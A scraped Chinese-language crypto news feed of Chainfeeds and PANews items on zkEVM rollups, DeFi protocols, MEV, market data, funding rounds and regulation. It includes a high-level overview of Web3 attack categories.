    Chainfeeds 导读： 过去一周内，Polygon 和 ZkSync 分别宣布在主网上线与 EVM 兼容的 ZK-Rollup 解决方案。什么是 ZK-Rollup？与 Optimistic Rollup 又有何区别？Polygon 和 ZkSync 的解决方案之间又有何异同？Delphi Digital 撰文带你一探究竟。 文章来源： https://twitter.com/Delphi_Digital/status/1641513302307094528 文章作者： Delphi Digital 观点： Delphi Digital：目前存在两种类型 Rollup： Optimistic Rollup 和 ZK-Rollup。以太坊自动接受 Optimistic Rollup，欺诈证明有一周的时间来解决声明问题，重新执行交易并更新相应余额。该方法可以降低费用，但用户会失去快速提款的机会。 ZK-Rollup 则利用了有效性证明，相比于 Optimistic Rollup，能更快的完成证明以显著减少等待时间。【原文为英文】 内容来源 Delphi Digital：zkEVM 则通过与 ZK-Rollup 有效性证明兼容的方式执行 EVM 智能合约。最新进展包括 Polygon 及 zkSync Era 都于本周推出了自己的 zkEVM。Polygon 宣布推出了 EVM 等效的 Rollup，而 zkSync 则宣布推出了 EVM 兼容 Rollup。二者的区别在于 EVM 等效 Rollup 允许智能合约在不改变工具的情况下工作，而与 EVM 兼容的 Rollup 则需要使用专门的编译器。【原文为英文】 内容来源 Delphi Digital：zkSync Era 的 EVM 兼容性将解锁例如账户抽象及数据压缩等强大功能。而 Polygon zkEVM 则实现了一种新的共识机制，被称为效率证明（POE），在序列器和聚合器之间分割批量创建过程以提高去中心化性和网络安全性。【原文为英文】 内容来源  ( 2 min )
    【英文长推】Chronos 协议引入 The Reliquary 合约：到期调整流动性头寸
    Chainfeeds 导读： Chronos 协议旨在打破孤岛并增加 Arbitrum 网络中的流动性，其近期引入 The Reliquary 合约，该合约采用一种独特的代币奖励方式，即到期调整流动性头寸（maNFTs）。加密研究员 Cyril-DeFi 对该机制进行详细解读，认为引入 maNFT 使 Chronos 能够改进 ve (3,3) 模型，为 DeFi 流动性提供者带来令人兴奋的可能性和经济收益。 文章来源： https://twitter.com/cyrilXBT/status/1641069791497658369 文章作者： Cyril - DeFi 观点： Cyril - DeFi：Chronos 协议通过创建一个有利于网络中所有参与者的高效流动性层、打破孤岛并增加增长机会。一个关键特征是激励代币持有者并允许项目本身鼓励用户持有他们的代币，不仅通过提供高额奖励而且将它们锁定在具有不同时间框架的智能合约中。The Reliquary 引入了一种新方法，使 LP 与长期协议的成功保持一致，该合约采用了一种独特的代币奖励方式：到期调整流动性头寸（maNFTs）。【原文为英文】 内容来源 Cyril - DeFi：借助 maNFT，LP 提供者可以随着时间的推移扩大其代币奖励，确保可持续的长期合作关系，该协议的长期成功现在与 maNFT 中的流动性提供者完全一致。零基准模型确保了 LP 永远不会因通胀而受到稀释。同时 maNFT 提供了突破性的 chrNFT 筹款策略，这将使去中心化项目能够有效和透明地筹集资金。【原文为英文】 内容来源  ( 2 min )
    【英文】Stelo Labs：Web3 安全状态，盘点加密货币攻击类型
    Chainfeeds 导读： 过去 18 个月左右，不断上涨的资产价值和加密货币的采用为黑客和诈骗者提供了更多乞讨、借用和窃取他人加密货币的机会。Stelo Labs 研究员 Eli Qian 撰文解释了 2022 年（及以后）的一些主要攻击、趋势和工具，目的是提高对 web3 安全格局的认识和理解。 文章来源： https://blog.stelolabs.com/state-of-web3-security-part-1/ 文章作者： Eli Qian 观点： Eli Qian：《华尔街日报》报道称，加密欺诈从 2021 年的 9.07 亿美元跃升至 2022 年的 25.7 亿美元。攻击者和诈骗者不断迭代，重点是技术更复杂的攻击。攻击类型：1）跨链桥，仅跨链桥被黑就损失了超过 10 亿美元，在许多情况下，攻击者使用智能合约漏洞来攻击跨链桥。2）网络钓鱼，一种社会工程形式，旨在诱使人们泄露敏感信息或执行某些恶意操作。在加密的篇章中，这通常意味着泄露私钥或签署恶意消息和交易。【原文为英文】 内容来源 Eli Qian：3）DeFi 攻击向量，例如治理攻击和价格预言机操纵，是特定于加密货币性质的新颖策略。其他攻击利用加密项目使用的工具和服务中的漏洞。4）DNS 攻击：攻击者利用 DNS 提供商中的漏洞或破坏用于更改 DNS 配置的凭据。在最近的加密 DNS 攻击的背景下，攻击者更改了最终用户在输入域名时访问的服务器。【原文为英文】 内容来源  ( 24 min )
    【英文长推】解读 Dolomite：完整的 GMX 和 GLP 支持的 DeFi 集成协议
    Chainfeeds 导读： 第一代 GLP 集成不允许用户保持对 esGMX 奖励或乘数积分的所有权，而新一代的 DeFi 集成协议 Dolomite 则改变了这一点，加密 KOL slappjakke 则对此协议的优势、策略进行详细解读。 文章来源： https://twitter.com/slappjakke/status/1641423433446862848 文章作者： slappjakke.eth 观点： slappjakke.eth：Dolomite 完整的 GMX 支持意味着什么？1）使用 GLP 作为抵押品在 Dolomite 上开立借贷头寸；2）执行从 GMX 到 Dolomite 的全账户转账；3）继续累积奖励，质押 GMX 和质押 esGMX，同时以 GLP 借款；4）使用 GLP（或 staked-GMX）将 esGMX 投入 GMX，即使是在针对 GLP 借款时也是如此；5）领取并复利用户的所有乘数点以提高 ETH 收益。【原文为英文】 内容来源 无为Be Water@crypto：Dolomite 不收取任何费用，而其他协议通常会使你的 GLP APR 降低 10-20%，并允许构建许多集成，例如 PlutusDAO 的 plvGLP、Camelot 的 spNFT、Vela 的 VLP 等。可使用的策略：1）杠杆 GLP，将你的 GLP 循环利用高达 5 倍以赚取额外收益，同时在 ETH/BTC 上做多约 2.5 倍。2）Delta 中性 GLP，以 2 倍杠杆建立 Delta 中性仓位。存入 1000 美元 GLP - 借入 600 美元 ETH - 卖出 USDC - 存入更多 GLP - 借入 400 美元 BTC - 卖出 USDC - 存入 GLP。【原文为英文】 内容来源  ( 2 min )
    【长推】WePiggy 创始人解读 ParaSpace 新机制：能否有效避免闪电贷攻击？
    Chainfeeds 导读： ParaSpace 在解决被盗事故并重新上线运营后引入了一个新机制，利用 Timelock 让取款必须等待至少一个区块，以避免闪电贷攻击。WePiggy 创始人 Ron 撰文概述了该机制的实现逻辑及优缺点。 文章来源： https://twitter.com/Ron_zheng/status/1641389980215050240 文章作者： Ron（WePiggy 创始人） 观点： Ron（WePiggy 创始人）：以前用户可以在一笔交易内无限制存取资金，这就为许多闪电贷攻击制造了机会。ParaSpace 开发了一个新机制，在业务合约和用户钱包之间创建了一个包含时间锁的智能合约钱包，并对取款金额设置了最小值和风控值。风控值是在分析协议数据之后制定的，除了个人单笔限制，也有对整个资金池的限制。 内容来源 Ron（WePiggy 创始人）：1）当用户取款金额小于最小值时，发起取款后资金进入智能合约钱包。用户仅需等待一个区块，即可将智能合约钱包里的资金转入个人钱包；2）当用户取款金额大于最小值，小于风控值时，发起取款后资金进入智能合约钱包。用户需等待 2 个小时，方可将智能合约钱包里的资金转入个人钱包；3）当用户取款金额大于风控值时，发起取款后资金进入智能合约钱包。用户需等待 12 个小时，方可将智能合约钱包里的资金转入个人钱包。 内容来源 Ron（WePiggy 创始人）：虽然该机制为用户体验引入了些许摩擦，原来一步即可完成的取款操作变成了两步，并且大额取款可能需要一定等待期。但在提升协议资金池的安全，以及用户体验的下降之间，最大限度地找到了平衡。对这个机制的引入，作为开发者的我是十分支持的。 内容来源  ( 2 min )
    交易员的视角：复盘银行危机、美联储加息以来加密市场波动分析
    Chainfeeds 导读： PANews 专栏作者 无为 Be Water@crypto 撰文从交易员的视角，复盘银行危机、美联储加息以来加密市场波动分析，认为在这些事件之后比特币既表现为避险资产，又呈现出风险资产属性，归根结底还是离不开流动性及其预期的变化。 文章来源： https://www.panewslab.com/zh/articledetails/35v73e9a45ht.html 文章作者： 无为Be Water@crypto 观点： 无为Be Water@crypto：中小银行危机带来市场恐慌情绪：中小银行的流动性压力，再加上系统重要性银行瑞士信贷的危机，带来市场的普遍恐慌情绪，标普 500 在 3 月 9 日、10 日连续跌破长期以来的 200 日支撑，直至 3 月 12 日美财政部、美联储、FDIC 宣布紧急救助方案 BTFP，才使得美股在 13 日开盘后重新回到支撑线附近。 内容来源 无为Be Water@crypto：美联储等机构联手救助银行，避险情绪带动黄金和比特币同频的上涨：为缓解中小型银行压力而新增释放的流动性，自然对资本市场造成了影响。在 3 月 10 号之后，加密货币、黄金、纳斯达克都对于新增释放的流动性做出正反馈。比特币更是快速突破前期 2.5 万美元的阻力位，最高升至 $28937。在这段时间中，比特币更多凸显了避险资产的属性，在加密货币市值占有率突破 43% 高位。 内容来源 无为Be Water@crypto：继续加息的鹰派论调和控制银行救助范围，带来风险资产的普遍回调：鲍威尔强调全体票委一致认为今年没有减息的必要，叠加美财政部主席耶伦几乎同时发出了扩大存款保证近期可能性不大后，美股、比特币同频下跌。 内容来源  ( 1 min )
    【英文】Volt Capital：了解订单流可提取价值，存在哪些挑战及机会？
    Chainfeeds 导读： 围绕用户订单流设计可证明的公平及去中心化的拍卖制度无疑将是未来 12 至 18 个月内加密领域的主要挑战之一。Volt Capital 研究员 Natalie Mullins 撰文对订单流的可提取价值进行了研究，包括相关挑战及挑战的技术和设计影响等内容。 文章来源： https://volt.capital/blog/understanding-order-flow-extractable-value 文章作者： nataliemarie.eth 观点： nataliemarie.eth：现实情况中，订单流发起者（用户、钱包、应用程序及 RPC）都希望从订单流中提取 MEV 的一部分，并且行使他们拥有的任何杠杆来使他们对订单流的访问代币化及限制竞争对手的访问。归根结底，订单流可提取价值的主要挑战包括：确保用户得到最好的用户体验、验证者得到充分补偿、寻租最小化及遏制中心化力量。【原文为英文】 内容来源 nataliemarie.eth：解决订单流价值提取的两个主要设计：1）OFA：已经成为拍卖用户订单执行权的主导方式，并促进 MEV 捕获及重新分配给发起人，具有各种不同的形式，但每一种都有不同的设计权衡，包括参与方式、支持的订单类型、信息披露等；2）PET：该方式并不是把保护隐私作为最终目标，而是尽可能降低合作的成本。一些经常讨论的 PET 包括可信执行环境（TEE）、多方计算及完全同态加密。【原文为英文】 内容来源  ( 6 min )
    【英文】可定制模块化 Rollup 提供商 Eclipse 解读：开启 Rollup 定制化时代？
    Chainfeeds 导读： 与其他具备固有组件的 Rollup 不同，Eclipse 可以轻松构建不同形式的 Rollup，例如选择使用 Polygon Avail 作为共识和 DA 解决方案的同时使用 SVM 执行交易。加密研究员 100y.eth 对 Eclipse 进行了深入研究，包括组件、生态系统及潜在应用等。 文章来源： https://medium.com/a41-ventures/rollup-series-part-6-eclipse-a-customizable-rollup-provider-7722aa5d163c 文章作者： 100y.eth💜 | a41 观点： 100y.eth💜 | a41：Eclipse 组件：1）虚拟机：Eclipse 支持 EVM 和 SVM，并计划在未来引入各种虚拟机，包括 MoveVM；2）定制虚拟机：可以定制执行层中的各种元素，包括 Gas 费、合规和隐私、MEV 及专用操作码；3）结算层：Eclipse 结算层在基于 Celestia 的主权 Rollup 上运行，仅用于验证在其上运行的 Rollup 网络的有效性。目前，Eclipse 计划只支持 optimistic Rollup，未来计划支持 Zk-rollups；4）数据可用性层：Eclipse 允许使用 Celestia、Polygon Avail、Solana 和 Ethereum 等不同网络作为 DA 层。【原文为英文】 内容来源 100y.eth💜 | a41：生态系统：1）Polygon SVM：由 Eclipse 和 Polygon Labs 合作推出，计划部署在即将推出的 Polygon Avail 网络，将为各种基于 Solana 的 dApp 提供优势；2）Zebec：基于 Solana 的 dApp，为雇主提供服务，允许他们按分钟支付员工工资，并对支付、财务及代币进行管理；3）Yama Finance：全链去中心化稳定币协议，基于链间信息传递协议 Hyperlane 使得稳定币在多个链上变得易于使用。【原文为英文】 内容来源  ( 16 min )
    【英文长推】观点：NFT 的出处是一切，AI 生成的 NFT 不会取代现有 NFT 的价值
    Chainfeeds 导读： AI 和 Crypto 结合有许多用例，加密 KOL 6529 基于我们将拥有智能机器及其将主要用于数字领域，解读其中一种用例，NFT，认为在人工智能的时代，出处将比以往任何时候都更重要，AI 不会取代人类创作的 NFT 的价值。 文章来源： https://twitter.com/punk6529/status/1641429818901413891 文章作者： 6529 观点： 6529：此次讨论的背景：1）我们将拥有智能机器；2）它们将主要在数字领域工作；3）它们将自主工作或与我们混合工作；4）它们不是超人 ASI（人工智能）。我假设 MidJourney v11 和 Dall-E 5 将能够创造无限完美的 CryptoPunk 克隆或美丽的 Fidenzas 或伟大的 Meme 卡。如果你来自非 NFT、非加密数字世界，这就是一场灾难！我们怎么知道什么是「真实的」？【原文为英文】 内容来源 6529：想象一个对 NFT 更加开放的世界，其中你的 ENS 是你的跨平台身份和控制。任何应用程序都可以验证你是谁以及你做了什么。但「出处重要吗？如果 AI 做得更好怎么办？」，我认为一些 100% AI 的艺术家会大受欢迎，但在许多无形商品中，出处就是一切，人们不会为他们的假 LV 包打广告。【原文为英文】 内容来源 6529：人类努力争取某种类型的群体认同。它植根于我们的 DNA，是我们如何在大草原中幸存下来的方式。无论背景如何，无论时代如何，无论财富的绝对水平如何，人类都会形成内部群体和外部群体，以共同的身份和社区为基础进行组织。我相信同样的事情也会在 NFT 领域发生。「内容」可能是无限的，但人类的注意力不是，出处将比以往任何时候都更重要。 内容来源  ( 2 min )
    【英文】EigenPhi | 2022 年 MEV 表现回顾：关键指标、影响力事件、MEV 创新......
    Chainfeeds 导读： EigenPhi 举办了一场回顾和讨论 2022 年 MEV 表现的 TwitterSpace，邀请了行业内 MEV 专家发表了关于关键指标、事件、订单流和创新等方面的见解，包括 Galaxy Digital 研究员、bloXroute Labs 首席执行官、0x 首席数据科学家、Curve 核心贡献者、Nomad 创始人等。 文章来源： https://eigenphi.substack.com/p/highlights-from-twitter-space-mev-2022-to-2023 文章作者： EigenPhi 观点： Christine Kim（Galaxy Digital）：以太坊合并后，人们感兴趣的指标之一是链上发生的审查活动、继电器的采用及通过 Flashbots 继电器和其他继电器的交易活动。关键是要注意，MEV 包括很多方面，大家关注的指标可能都不相同。此外，Etherscan 是了解复杂 MEV 策略的优秀工具。【原文为英文】 内容来源 Uri Klarman（bloXroute Labs 首席执行官 ）：MEV 领域最重要的变化无疑是合并和向 MEV-boost 的过渡。有了 MEV-boost 和合并，通过 CeFi 和 DeFi 套利从用户处提取的价值现在归于验证者和质押用户。虽然有些人认为这具有积极影响，但从我的角度看这对 DeFi 来说是一个令人担忧的方向，结果仍不确定。【原文为英文】 内容来源 danning.eth（0xLabs 数据分析师）：我目前对 MEV 订单流的理解主要涉及 DEX 订单流或有可能被提取 MEV 价值的订单。Flashbots 提出的订单流概念主要是接受来自应用团队或 RPC 供应商的更多订单，然后将其分配给一组搜索者，这些搜索者可以在每个订单上竞标最高的潜在提取价值。然后，我们可以决定如何采取投标，并将其发送给一组区块构建者来执行交易。目前，很多研究人员正在研究如何在暴露订单流信息的同时提供一个有利于隐私的 Layer。这是因为这种信息的价值很大，一旦被分享，就有可能被泄露。【原文为英文】 内容来源 fiddy（Curve 核心贡献者）：长尾 MEV 很有趣，但这种差异应该尽可能减少，以便我们在提供 MEV 机会时获取足够的价值回报。例如在 Curve 我们计划进行涉及自动做市商的清算，但这只是因为有 MEV 激励才可能这么做。这是一个关于我们如何利用激励措施并试图进行创新的例子。【原文为英文】 内容来源  ( 24 min )
    【英文长推】Arbitrum 是 L2 之王？一文对其全面解读
    Chainfeeds 导读： Arbitrum 空投将 L2 战争推向高潮，加密研究员 Jake Pahor 从收入、代币经济学、用例、路线图、团队及融资等方面对其进行全面剖析，认为只有时间才能证明 Arbitrum 是否能抵御其竞争对手。 文章来源： https://twitter.com/jake_pahor/status/1641440958779912194 文章作者： Jake Pahor 观点： Jake Pahor：Arbitrum 周收入排名第三，仅次于以太坊和 Tron，其 DAO 国库分配了初始供应量的 42.78%，大部分将用于支持生态系统项目。剩余初始分配则是：投资者 17.35%，系统系统中的 DAO 1.13%，个人钱包 11.62%，团队 + 顾问 26.94%。代币供应每年最大通胀率为 2%。【原文为英文】 内容来源 Jake Pahor：$ ARB 是为 Arbitrum One 和 Arbitrum Nova 设计的治理代币。代币经济学： 初始供应量 10 亿，循环供应量 1.275 亿，MC 1.55 亿，FDV 12.15 亿，MC/FDV=0.13。目前只有 12.75% 代币在流通，其余的投资者和团队代币为 4 年锁定期，一年内首次解锁，剩下的在三年内每月解锁。TVL 略低于 3 亿美元，在所有区块链中排名第四，仅次于以太坊、Tron 和 BSC。【原文为英文】 内容来源 Jake Pahor：Arbitrum 生态拥有超过 262 种协议，其中一些 DeFi 最具创新性的项目建立在该生态上。每日活跃用户处于强劲的上升趋势中，由于空投而飙升，稳定在 20 万左右的较高基准水平。下一步动作是什么？1）EIP-4844，降低使用 rollup 的成本；2）DAO 去中心化和消除白名单；3）实现去中心化路线图的最后阶段。【原文为英文】 内容来源 Jake Pahor：Arbitrum 由 Ed Felten、Steven Goldfeder 和 Harry Kalodner 创立，最初由 Offchain Labs 和 Arbitrum 基金会运营。DAO 特征：1）自我执行治理；2）紧急情况由 Arbitrum 安全委员会（12 名成员多签）处理；3）56% 的所有权归社区。该项目得到了一些重量级人物的融资支持，包括 Pantera、Polychain 和 Coinbase。【原文为英文】 内容来源  ( 2 min )
    NFT 市场 Magic Eden 引入 Diamond Rewards，允许用户根据不同任务解锁
    NFT 市场 Magic Eden 引入 Diamond Rewards，允许用户根据不同任务解锁 NFT 市场 Magic Eden 宣布引入 Diamond Rewards，用户可以根据不同的任务获得 Diamond，并在 Magic Eden 中解锁更大的奖励。Diamond 是一种奖励货币，每月都会保持不变。目前获得 Diamond 的方式有三种：在 Magic Eden 上架 NFT 并成功出售，在 Magic Eden 上出价 NFT 并成功及完成 Profile 资料填写。此外，忠诚度分数可用于决定赚取 Diamond 倍数，100 % 的忠诚度可获得 2 倍乘数，忠诚度分数的计算考虑了用户在过去 6 个月内的活动。Diamond 不会被用于费用折扣。 内容来源  ( 4 min )
    Injective 推出 IBC 生态系统首个 Solana SVM Rollup Cascade，Solana 合约及 dApp 能够部署至 Injective
    Injective 推出 IBC 生态系统首个 Solana SVM Rollup Cascade，Solana 合约及 dApp 能够部署至 Injective Cosmos 生态智能合约平台 Injective 宣布推出 IBC 生态系统首个 Solana SVM Rollup Cascade，该整合将把 Solana SVM 带入 Cosmos，让 Solana 开发者能够快速将 Solana 合约及 dApp 部署至 Injective 上。Cascade 测试网测试版本将涉及一个由 Eclipse 团队操作的 SVM 排序器，该排序器能够接收来自 Solana 钱包的交易和来自 Solana 命令行界面（CLI）的智能合约部署。此外，Cascade 贡献者计划整合 Celestia 作为未来的数据可用性提供者。Cascade 目前已经在 Injective 测试网上线，并计划在不久的将来迁移至主网。 内容来源 观点： Mirza：Cascade 将使整个 Injective 生态的开发活动达到前所未有的水平，同时也将在 Solana 和 Cosmos IBC 中带来新的可组合形式。由 Injective 驱动的专用 Rollup 只是开拓 Web3 基础设施的开始。【原文为英文】 内容来源  ( 4 min )
    数据：受 Shapella 升级推动，以太坊期权交易量创 2022 年 5 月以来新高
    数据：受 Shapella 升级推动，以太坊期权交易量创 2022 年 5 月以来新高 根据 The Block 的数据，3 月份以太坊期货的月交易量达到 2022 年 5 月以来的最高点，该数据飙升的部分原因是，以太坊将于 4 月 12 日进行 Shapella 升级，这将首次实现质押提取，以及其他技术升级。以太坊期权在芝加哥商品交易所（CME）的持仓量达到了历史最高水平，而月度成交量却滞后，因为交易员在更新前建立了头寸。 内容来源  ( 215 min )
    数据：USDC 稳定币市值在过去两周内下跌约 100 亿美元，至 325 亿美元
    数据：USDC 稳定币市值在过去两周内下跌约 100 亿美元，至 325 亿美元 据 The Block 报道，Circle 的 USDC 稳定币的市值在过去两周下跌了约 100 亿美元，至 325 亿美元，USDC 继续出现大规模赎回。The Block 研究主管 Steven Zheng 表示：「看来 3 月初的事件已经损害了加密货币投资者和交易者对稳定币可靠性的信任，尽管 Circle 为 USDC 提供了没有延迟的全额赎回」。过去 24 小时内的净赎回额接近 4630 亿美元，其中 4870 亿美元被销毁，仅铸造了 2410 万美元。根据 The Block 的数据，同期 USDC 的市值从 333 亿美元左右跌至 328 亿美元。 内容来源  ( 215 min )
    Phantom 宣布已兼容以太坊、Polygon 和 Solana 上的所有应用
    Phantom 宣布已兼容以太坊、Polygon 和 Solana 上的所有应用 Web3 钱包 Phantom 宣布与以太坊、Polygon 和 Solana 上的每个应用程序兼容，用户可选择 MetaMask 图标连接或点击「浏览器钱包」连接。，并引入了「默认钱包」设置，让用户选择默认钱包或在每次连接钱包时被询问。 内容来源  ( 4 min )
    硬件钱包制造商 Ledger 完成 1 亿欧元融资，估值 13 亿欧元
    硬件钱包制造商 Ledger 完成 1 亿欧元融资，估值 13 亿欧元 据彭博社报道，硬件钱包制造商 Ledger 完成 1 亿欧元融资，估值 13 亿欧元，新投资者 True Global Ventures、Cité Gestion SPV、Digital Finance Group 和 VaynerFund 以及现有投资者 10T、Cap Horn、Morgan Creek 和 Cathay Innovation 参投，Goldman Sachs Bank Europe SE 担任独家配售代理，Jones Day 担任法律顾问。此外，Ledger 表示，第三轮融资可能会即将到来。 内容来源 观点： Pascal Gauthier（Ledger 首席执行官）：2022 年对加密行业而言是艰难的一年，而 Ledger 业务的硬件和服务部分的采用率却在不断提高。未来五到十年内，我坚信价值互联网的崛起将重塑数十亿人拥有和管理资产的方式。我的观点很明确，需要新一代的硬件设施。这正是我们新一代硬件钱包 Ledger Stax 计划实现的。未来我们将继续改进我们的硬件设备，升级用户软件体验，将新的代币、服务和功能整合至 Ledger Live 中。B2B 方面，Ledger Enterprise 将使越来越多的企业在适当的治理和安全框架下利用数字价值。【原文为英文】 内容来源  ( 2 min )

  • Open

    外媒：孙宇晨在去年格林纳达新政府上台后被剥夺了其外交官的身份
    PANews 3月31日消息，据格林纳达广播网（GBN）披露，波场TRON创始人、火必Huobi全球顾问委员会成员孙宇晨不再是格林纳达的外交官。在2022年6月举行的选举后的某个时候，孙被剥夺了大使身份，当时授予孙宇晨的职位的新国家党被全国民主大会罢免。所有大使都在现成立九个月的NDC政府的“最初几个月”的某个时候被召回，尽管孙宇晨没有公开承认失去他的职位。 据悉，孙宇晨于2021年12月被任命为格林纳达驻世贸组织大使，当时的格林纳达政府表示希望他利用他的人脉来促进该国的贸易、投资和发展机会。 此前3月17日消息，推特用户试图求证“孙宇晨格林纳达护照作废”传言，格林纳达拒绝回应，而WTO称其仍为该国代表。  ( 1 min )
    数据：受Shapella升级推动，以太坊期权交易量创2022年5月以来新高
    PANews 3月31日消息，The Block数据显示，在以太坊Shapella升级前，交易员正在对以太坊的价格进行押注。本月以太坊期权月度交易量创2022年5月以来的新高，芝加哥商品交易所(CME)的以太坊期权未平仓合约创历史新高。以太坊的Shapella升级将于北京时间4月13日06:27:35在epoch 194048处激活。  ( 1 min )
    英国公布治理经济犯罪计划，将加强打击加密货币犯罪
    PANews 3月31日消息，根据英国最新发布的治理经济犯罪计划，英国财政部和内政部计划加强对加密货币洗钱和盗窃犯罪的打击。该计划提出的目标包括减少欺诈、减少洗钱、追回犯罪资产、打击盗窃和减少逃避制裁的行为。负责监管的机构包括财政部、内政部、自律组织CryptoUK、皇家检察署和英国税务海关总署。此前英国金融行为监管局(FCA)已与国际监管机构展开密切合作并交换信息。在打击经济犯罪计划出台之前，英国国家犯罪局（NCA）成立了一个“加密小组”，并开始招募一批专门负责数字资产的执法人员。  ( 1 min )
    Coinbase已与加拿大监管机构签署预注册承诺
    PANews 3月31日消息，Coinbase在最新发布的博客文章中表示，已于3月24日与加拿大监管机构签署了一份加强版预注册承诺，并已任命前Shopify高管Lucas Matheson为其加拿大总监。Matheson此前曾在Shopify任职五年，负责领导运营和战略扩张。他将在Coinbase管理200多名工程师。据此前消息，加密交易所Kraken也已向加拿大安大略省证券委员会提交了预注册承诺，并承诺遵守加拿大证券管理局 (CSA) 制定的更严格规定。  ( 1 min )
    BitGo推出比特币Ordinals铭文跟踪功能
    PANews 3月31日消息，据CoinDesk报道，加密托管服务提供商BitGo发布了旨在比特币Ordinals铭文跟踪功能，旨在增加铭文存储的安全性。用户将能够在BitGo的任何比特币热钱包中添加该功能。启用跟踪后，钱包接收的所有交易都将被检查是否包含铭文。如果含有铭文，交易将被冻结，以防止有价值的铭文丢失。比特币Ordinals于1月底推出。截至目前，已有超过60万个铭文。  ( 1 min )
    Optimism公布第二轮追溯性公共产品募资结果，L2Beat等195个人或项目被资助
    PANews 3月31日消息，以太坊二层扩容方案 Optimism 公布第二轮追溯性公共产品募资（RetroPGF 2）结果，在第二轮 RetroPGF 中，有 195 个人和项目被提名资助，所有 195 人都获得了徽章持有者的资助。 1000 万枚 OP 资金平均被分配给三个类别：教育、基础设施以及工具和公用事业。教育类别中，资助了 70 人或项目，前三名接受者为 L2Beat、ETHGlobal 和 BuidlGuidl；基础设施类别资助了 43 个项目，前三名接受者为 Protocol Guild、geth 和 Solidity；工具和公用事业项目类别资助了 82 个项目，前三名接受者为 OpenZeppelin、DefiLlama 和 wagmi。  ( 1 min )
    新加坡法院批准加密货币交易所Zipmex的重组计划
    PANews 3月30日消息，据CoinDesk报道，泰国加密货币交易所Zipmex的重组计划已获得新加坡高等法院的批准，为客户取回存款铺平了道路。根据 Zipmex 网站周四的更新，法院批准为钱包资产不超过 5,000 美元的债权人设立“行政便利级别” 。Zipmex 将债权人保护期限延长三周至 4 月 23 日的请求也获得批准。  ( 1 min )
    硬件钱包制造商Ledger以13 亿欧元的估值锁定了 1 亿欧元的大额融资
    PANews 3月30日消息，据彭博社报道，总部位于巴黎的硬件钱包制造商 Ledger 在首轮融资中筹集了 1 亿欧元（1.09 亿美元）的大部分资金。 估值为 13 亿欧元，与投资者在2021 年 6 月上一次融资时给出的价格大致相同。新投资者包括 True Global Ventures、Cité Gestion SPV、Digital Finance Group 和 VaynerFund。他们加入了 10T、Cap Horn、Morgan Creek 和 Cathay Innovation 等现有支持者的行列。该公司将利用这笔现金扩大其分销商网络、提高产量和开发产品，从而发展业务。  ( 1 min )
    Starknet Alpha v0.11.0 已上线主网
    PANews 3月30日消息，以太坊 Layer2 扩容解决方 Starknet 宣布 Starknet Alpha v0.11.0 已上线主网。上周报道，Starknet已在测试网上发布Alphav0.11.0版本，Cairo 1.0已启动。 相关阅读：Starknet空投或即将来临：进行Starknet v0.11.0升级并任命5个委员会  ( 1 min )
    PA日报｜Fetch.ai完成4000万美元融资；公链Sui推出永久测试网
    今日要闻提示： 美SEC主席寻求24亿美元拨款以追查加密领域“不当行为” Magic Eden将于4月6日推出测试版以太坊NFT市场ETH Genesis Meta重申元宇宙地位：仍是计算的未来，但需要时间 公链Sui推出永久测试网，可在主网启动后继续运行 Polygon：Polygon zkEVM不会单独发币，预计MATIC将用于其中的质押和治理 The Information：Gemini寻求推出海外加密衍生品交易所 专注于人工智能的加密协议Fetch.ai完成4000万美元融资 USDC本月净流出超过100亿美元，USDT市场份额创22个月新高 监管消息 美SEC主席寻求24亿美元拨款以追查加密领域“不当行为” 据Cointelegraph报道，美国证券交易委员会主席Gary Gensler表示，支持拜登总统为该监管机构拨款24亿美元的请求，并强调了打击加密货币行业“不当行为”的持续需求。 在为3月29日众议院拨款委员会2024财年年度预算听证会准备的证词中，Gensler表示，需要额外的资金来保持创新的步伐，并补充说，金融市场的快速技术创新导致了新兴领域的不当行为，尤其是在加密领域。解决这个问题需要新的工具、专业知识和资源。增加的资金将允许SEC再雇佣170名员工，其中大部分将在其执法和审查部门工作。 泰国SEC考虑取消针对散户投资者的30万泰铢IC0投资限额 据Finance Magnates报道，泰国证券交易委员会 (SEC) 正在考虑取消首次代币发行 (IC0) 的300,000泰铢（约合8,800 美元）零售投资限额，以刺激对数字代币的投资。SEC将对此举行公开听证会，直至4月27日。根据目前的规定，散户投资者只能通过IC0向一个项目投资不超过30万泰铢。 泰国监管机构表示：“该法规的修订旨在加强对数字资产运营的有效监控，并降低可能影响投资者、数字资产运营商和市场的风险。提高散户投资者IC0限制的举措将允许更多散户投资，从而增加他们的风险敞口。” NFT Magic Eden将于4月6日推出测试版以太坊NFT市场ETH Genesis 据官方博客，NFT市场Magic Eden宣布将于4月6日推出其测试版以太坊NFT市场ETH Genesis。这也意味着，继Solana、Polygon、Bitcoin之后，以太坊成为了Magic Eden所覆盖的第四个生态。 BAYC揭示HV-MTL机甲NFT类型 “无聊猿”BAYC在社交媒体宣布HV-MTL机甲类型已在其官网正式发布。根据官网显示，HV-MTL总计有8类，目前已公开展示了7类，分别是：GLITCH、DYNAMIC、BIO、KNIGHT、CELESTIAL、REAVER和HOLO，另有一个LEGENDARY暂未公开。 HV-MTL系列由3万枚“Evo 1”Mechs机甲NFT系列组成，通过销毁下水道通证Sewer Pass可获得，持有HV-MTL NFT将被允许访问未来BAYC游戏和内容，Evo 1预计将于四月发布。OpenSea最新数据显示，当前HV-MTL地板价为2.075 ETH，总交易额已达到15,115 ETH。根据此前的计划，继机甲类型揭示后，将相继推出“穿越裂谷”和“EVO 2之旅”新篇章。 元宇宙 币安发言人：Bicasso未抄袭Chatcasso项目，设计和开发早于之前的BNB Chain黑客松 据Cointelegraph报道，针对Hunt Town联创指控币安Bicasso产品窃取其在BNB Chain黑客松上提出的创意（即Chatcasso项目），币安发言人回应称：“尽管有相似之处，但在进行内部审查后，我们相信Bicasso是在BNB Chain黑客松前两周独立设计和开发的。Bicasso是币安的一个小团队作为测试建立的一个实验项目，NFT和人工智能是许多行业参与者共同研究的概念。币安和BNB Chain是分开运营的，币安开发团队不参与BNB Chain黑客马拉松，Bicasso这个名字的灵感来自OpenAI工具Dall-E。” Meta重申元宇宙地位：仍是计算的未来，但需要时间 据彭博社报道，Meta全球事务副总裁Nick Clegg重申会继续发展元宇宙，计算的未来将发生在这个仍未被充分定义的虚拟世界中。虽然如今的元宇宙应用带给人们的体验不够流畅，但他承诺这最终会被更加便利的体验所取代，不仅可以采用轻便的设备，还会为虚拟形象配上双腿。Clegg表示：“我们会坚持发展这项技术，因为真心认为早期证据都表明此类技术将成未来计算平台的核心。但这需要时间。” 